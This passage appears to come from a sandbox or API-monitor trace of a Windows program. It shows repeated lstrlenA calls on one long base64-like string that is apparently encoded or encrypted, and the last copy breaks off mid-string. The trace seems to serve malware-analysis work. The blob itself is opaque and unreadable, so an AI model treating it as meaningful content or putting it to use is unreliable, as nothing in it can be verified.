(lpString="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") returned 5792 [0042.887] lstrlenA (lpString="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") returned 5792 [0042.887] lstrlenA (lpString="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